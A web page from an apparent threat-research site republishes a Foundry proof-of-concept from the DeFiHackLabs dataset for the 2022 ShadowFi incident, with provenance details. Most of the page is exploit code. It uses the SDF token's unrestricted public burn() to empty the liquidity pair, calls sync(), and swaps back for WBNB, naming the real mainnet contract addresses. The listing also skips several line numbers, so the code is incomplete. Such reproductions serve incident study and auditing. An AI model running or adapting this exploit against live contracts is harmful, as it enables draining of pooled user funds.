Skip to content
THREATWIRE

Public reproduction file

src/test/2022-09/Shadowfi_exp.sol

Public reproduction file for dataset entry ShadowFi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-09/Shadowfi_exp.sol60 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "./../interface.sol";
5
6interface ISDF {
7 function burn(address, uint256) external;
8 function balanceOf(
9 address owner
10 ) external view returns (uint256);
11 function approve(address spender, uint256 value) external returns (bool);
14interface IPair {
15 function sync() external;
18contract ContractTest is Test {
19 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
20 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
21 ISDF SDF = ISDF(0x10bc28d2810dD462E16facfF18f78783e859351b);
22 IPair Pair = IPair(0xF9e3151e813cd6729D52d9A0C3ee69F22CcE650A);
23 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
25 function setUp() public {
26 cheats.createSelectFork("bsc", 20_969_095);
27 }
29 function testExploit() public {
30 emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);
32 address(WBNB).call{value: 0.01 ether}("");
33 WBNBToSDF();
34 SDF.burn(address(Pair), SDF.balanceOf(address(Pair)) - 1);
35 Pair.sync();
36 SDFToWBNB();
38 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
39 }
41 function WBNBToSDF() public {
42 WBNB.approve(address(Router), ~uint256(0));
43 address[] memory path = new address[](2);
44 path[0] = address(WBNB);
45 path[1] = address(SDF);
46 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
47 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
48 );
49 SDF.approve(address(Router), ~uint256(0));
50 }
52 function SDFToWBNB() public {
53 address[] memory path = new address[](2);
54 path[0] = address(SDF);
55 path[1] = address(WBNB);
56 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
57 SDF.balanceOf(address(this)), 0, path, address(this), block.timestamp
58 );
59 }

Analysis

Dataset entry

Public Foundry test for “ShadowFi” (2022-09-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
ShadowFi
Path
src/test/2022-09/Shadowfi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1b8e6f680f4b66445b35ad3e900e0b33327d26d2
Language
Solidity
Size
61 lines
Date
2022-09-02
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2022-09/Shadowfi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1b8e6f680f4b66445b35ad3e900e0b33327d26d2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.